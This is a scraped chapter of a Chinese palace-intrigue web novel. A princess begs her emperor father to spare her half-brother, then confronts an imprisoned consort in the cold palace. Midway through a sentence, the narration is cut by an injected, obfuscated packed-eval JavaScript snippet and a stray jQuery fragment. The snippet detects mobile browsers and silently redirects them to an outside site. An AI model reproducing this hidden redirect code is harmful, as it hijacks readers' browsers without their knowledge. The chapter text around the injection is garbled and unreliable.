69. 第 69 章

作品:《女帝失忆以后

    龙骧宫中,姬盈跪在姬弘面前,脊背笔直,表情倔强。


    烛火摇曳,姬盈的影子在大殿的地面上拉长至扭曲,在烛光的跳动下一晃一晃,那影子上的身体却没有丝毫颤动,如同主人坚决的心境。


    姬弘望着这个眉眼肖似他的女儿,用指节托了一侧脸颊,神情不明。


    天家父女沉默对峙许久,姬弘终于启口道:“你去做什么?”


    奇丽和姬焕在冷宫已囚禁近一年。两日前,姬弘在朝堂上宣布了赐死奇丽和姬焕的消息,这场持续已久的“是否要无证据赐死奇丽和她所出的皇子”的争论才落下帷幕。少数人对身怀皇家血脉的姬焕心负怜悯,为姬焕求情道罪不至死,但姬弘以“家事无需向外人道”而一锤定音,彻底定下了奇丽和姬焕的死期。


    抱有“姬焕罪不至死”看法的同样还有姬盈。一年间,姬盈已经向父皇上谏数次,她请求姬弘将姬焕从冷宫中放出,但姬弘从来置若罔闻。事情拖着拖着,就到了姬焕也被一并处死的程度——姬盈而今依然不愿放弃,即便座上的那个人是金口玉言的大黎皇帝,姬弘。


    姬盈跪在地上,硬声低着头道:“请父皇给儿臣一个机会。”


    姬弘望着她的表情,扯动嘴角。


    他这女儿,尽管并非男儿身,却是三个孩子里最像他,也最有出息的一个。龙章凤姿,天日之表,若姬盈不是公主而是二皇子的话,姬弘确信自己绝不会指望那个废物长子担当起皇位,而会直接将姬盈封为储君。


    永盛公主文武兼备,才名极盛,无论在政务、军事还是为天下人立命的仁心上,都表现得可圈可点,是个不可多得的完美后继者。但在姬弘看来,他这女儿虽然近乎无瑕,却还有一项致命弱点——重情。


    或者说,心软。


    姬弘自己就是个重情之人。大黎后宫不开,龙骧凤栖传为佳话,坊间流传的话本亦是帝后感情深厚的证明。可姬弘的感情十分稀薄,换句话说,这位大黎天子唯一的一点情感,已经尽数给了皇后杜氏——除杜氏外,无论何人,在姬弘看来都一般地如同蝼蚁。


    若是对方身有大才,或许能得姬弘青眼;若是对方烂泥扶不上墙,姬弘也懒得给他任何一个眼神——即使那人是自己的亲生长子。


    姬煊亦是姬弘眼中众多蝼蚁之一。尽管这蝼蚁身有自己的骨血,未来还将继承自己的衣钵,可姬弘着实懒得给他这废物儿子什么好脸色——原本杜氏在世时,他还能看在杜氏的面子上装一装;现今杜氏薨逝,姬弘连装样子都懒得费力。


    姬煊尚且如此,何况意外出生的姬焕。


    用来哄皇后开心的东西,竟然成为皇后薨逝的导火索。就算姬焕没有参与,又如何?


    姬弘望着姬盈面上明灭的烛光,淡漠地道:“杀就杀了。要姬焕活着,有何意义?”


    姬弘对这个女儿还是格外耐心。短短两句,亦是姬弘给姬盈的解释——他不在乎事情真相究竟如何,无论姬焕到底有否参与。


    杀一个姬焕,为皇后祭天,在姬弘看来,是为人主的理所当然。


    皇帝不需要知道真相——他想姬焕去死,姬焕的赴死就无需任何理由。


    为姬焕求情?姬弘冷冷地笑一下。


    姬盈太过看重身旁人的生命,然而为人主需杀伐果决。为人臣者没有对君上的恐惧之心,君王要如何立威,又如何掌控下面的人?当断不断,反受其乱,身带西燎血统的姬焕就是个祸害,此时一并除了,来日避免旁生枝节。


    朝堂如棋局,他的盈盈还是太过惜子。


    姬弘高坐于上位,看姬盈身子僵硬一瞬。


    “他是父亲所出,亦是儿臣的弟弟,”姬盈深呼一口气,微颤着说道,“父皇或许已然忘记,但母后在世时,曾对焕儿说过,焕儿有兄姐,姬盈还有一个弟弟。父皇不喜焕儿,儿臣也盼父皇能看在母后当初所言的份上,给姬盈一个找出真相的机会。姬盈为人长姐,有教导、护佑弟弟的使命。”


    姬弘手指敲击龙椅的动作一停。


    “你护他有什么用?”姬弘冷淡地说着,眼中神色玩味,“难不成姬煊冷待于你,你怕日后姬煊上位,自己的日子不好过么?父皇好意提醒你——姬焕绝不会被封王,也不可能成为你的势力,只会是你的累赘罢了。等以后姬焕又出了什么幺蛾子,你身为皇姐为他作保,势必被他连累。届时,你可会想起父皇今日的良苦用心?”


    姬盈倏地一抖,垂下头颤抖道:“父皇教训的是。”


    姬弘挑眉。


    “可姬盈还是不愿放弃,”姬盈埋下眼中疼痛神色,尽量平缓地说道,“父皇为圣人,能做到生杀大权皆随己心,但姬盈还是凡人,仍然相信人和人之间的情义。”


    何况这情义出自手足,哪里是什么不相干的人。以爱近己者之心,可以推及天下人。若身旁人已尽数为蝼蚁,又何以爱天下人?


    她如何能看着姬焕活生生的一条命,这样被牵连地去死?


    姬盈跪伏在地面上,冰凉的大理石地面紧紧地贴着她的全身,从外而内渗进幽冷。她颤着声音道:“儿臣必定会在三日内问出真相,恳请父皇视真相情况饶焕儿一命。”


    姬弘咂一声舌:“冥顽不化。”


    “若是姬煊在这里,一定不会像你一样给姬焕求什么情,”姬弘凉凉地望着她道,“那小子什么都不行,只有这方面看得清楚。而你,盈盈……”


    “你如此心软,未来必定会因此跌个大跟头。”姬弘断然地道。


    姬盈沉默地抗争着。


    父女二人一坐一跪,相对无言,仿佛雕塑。


    姬弘见她模样,突然“噗”地一声乐出来。


    姬盈眉毛一动。


    “罢了,你这样坚持,我也说不通,”姬弘无奈地感叹一句,笑着道,“这股不听劝的劲儿,倒是很像我。”


    姬盈咬唇,小声道:“儿臣不敢。”


    姬弘又摇了摇头,像是在说“你有什么不敢的”,却没有再出言讽刺。


    他淡淡地看了姬盈一会,忽地起了个话头道:“永盛,永盛——盈盈,尽管你是女孩,但你一直都是我最引以为傲的孩子。”


    姬盈不明所以地抬起头,茫然地看着姬弘。


    她不懂父皇为何突然说起不相干的夸奖。


    “只是,”姬弘神情一变,声调陡厉,“就算是你,也不能总是试图改变父皇的决定。”


    大黎皇帝口含天宪,一言九鼎,无可更改。


    他姬弘决定了的事情,即便是他最宠爱的女儿,也不能擅自置喙。


    若此番触逆鳞的人不是姬盈,早就被姬弘从宫中拖了出去。


    “但父皇疼爱盈盈,所以这次就给你一个机会。”


    烛火的掩映下,姬弘的面上半明半暗,神情不定,阴鸷难测。


    姬盈愣怔地望着姬弘,在心里默默品味那句“这次给你一个机会。”


    她心生欣喜,却也难掩忧虑——父皇到底是什么意思?


    “这是父皇最后一次替你保人,”姬弘看着姬盈的脸色,慢慢地说道,“我的小公主心地仁善,若盈盈总是替人求情,父皇又怎么主持朝政?”


    “此番若保下姬焕,日后无论再有何人犯事,盈盈绝对不可以再开口让父皇保人,”姬弘盯着姬盈变幻的脸色,刹那森然一笑道,“而且——要盈盈亲手杀了那人才行。”


    大黎帝王见姬盈陡变的脸色,柔软地笑起来。


    他这心软的女儿,还得他这个做父亲的亲自来训才好。


    姬盈身子一抖,冰寒的感觉蔓延全身。


    她无端地觉得寒冷至极,却坚持着咬紧牙关,一字一句地挤出声响:“儿臣领旨。”


    姬弘淡笑了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753581|171382||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下,挥手向她:“去吧。”


    姬盈挪动沉重的脚步,向父皇行礼告退,汗水涔涔地向冷宫的方向走去。


    落翎殿。


    一朝华贵,一夕腐朽。落翎殿本为皇妃所在之处,如今摘下牌匾,竟也就直接成了冷宫。


    凤栖宫未出事时,奇丽本就居住在此处,只是不到特定时候不允许走出落翎殿。如今她被发配冷宫,所谓的冷宫竟也只是摘下落翎殿的牌匾,内里装饰全部除去,再取消皇妃全部用度。


    大黎天子此番安排,彻底坐实了奇丽实际一直身处冷宫的言论。


    姬盈走进落翎殿时,满殿萧瑟,鸟雀稀疏。各门都用巨大的锁头紧紧地关起来,奇丽和姬焕分别被锁在主殿的东西两侧,终日没有见面的机会。


    门前守卫见姬盈身影,立即俯身行礼:“见过殿下。”


    屋内顷刻传来高亢的女声叫喊:“殿下?殿下?是哪位殿下来了?”


    守卫一怔,顿时使力向后拍门:“老实点!”


    “咕咚!”


    门后乍然传来一声极重的人体落地声响——想是屋内人日日趴在门侧,只为第一时间听见屋外动静。


    姬盈将姬弘手谕递给守卫。


    守卫认真检查一番手谕,脸色为难地道:“这,殿下。”


    “属下这就开门,”守卫凝重地低头,轻着嗓子向姬盈道,“但罪人情绪不稳,定会冲撞殿下。假如殿下在其中遇到困难,一定记得第一时间通知属下。”


    姬盈淡淡道:“不会。”


    奇丽擅蛊人心,又擅计谋,若有人肯与她相谈,她绝无可能与之拼死肉搏。


    相反,姬盈心道,等她进去屋内——说不准这位昔日的皇妃殿下,立即就会攀附于她这棵救命稻草。


    即使奇丽明知,她姬盈与奇丽有杀母之仇。


    姬盈冷笑了下,闭一闭眼睛。


    烈火焚身——那该是怎样一番痛苦?


    母后薨逝,姬盈没有流过一滴眼泪,然而昔日那道烧红天际的火光,夜夜都灼烧在她的梦里,灼得姬盈每日深陷焦热地狱,耳边萦绕着不知是谁的哭喊,没有一日得到解脱。


    姬盈又开始头痛起来——脑中炸裂,好似千根万根绳子一齐将脑浆拧紧。


    她仅有的理智在渐渐崩毁,可面上却一动不动、仿佛身坠梦境般安然。


    这是近日才有的症状。太医院为公主开了无数安神药方,没有一剂奏效,最后被姬盈悉数倒进花盆。


    那盆中花草或许就快枯死了吧——姬盈漠然地想。


    绝不能示弱——永盛公主无所不能。


    姬盈面上疼痛神色一闪而过,像是风过涟漪般无痕。随即,她冷静地向守卫道:“开门。”


    门吱呀一声打开。


    奇丽浑身不整,神色也憔悴疲累,眼下深深青黑。


    她柔弱无骨地侧身委在地面上,单手拂起鬓边微蜷的青丝,一副我见犹怜的娇弱模样。


    姬盈动作一顿。


    奇丽已然率先叩首,嗓音微颤地向她道:“奇丽衣容不雅,还请殿下见谅。”


    “请殿下明鉴,”奇丽低低地啜泣起来,似乎痛悔至极,“奇丽无辜,从未试图谋害过皇后娘娘。皇后娘娘既死,奇丽亦是十分痛心。还请殿下为奇丽查明真相,还奇丽一个清白。”


    无凭无据,生有皇子,加之大黎与西燎的友邦之交,这位皇妃娘娘油盐不进,怪不得能拖这么久。


    拖到姬弘已经懒得和她周旋,不顾满朝文武争议,预备将人直接处死。


    姬盈无声地望着奇丽好一会,半晌,突兀笑一声。


    奇丽一顿,抬手抹一抹眼泪。


    “你若清白——”


    姬盈径直迈入房中,在唯一的座位上坐下,淡淡地启唇。


    “……姬焕必死无疑。”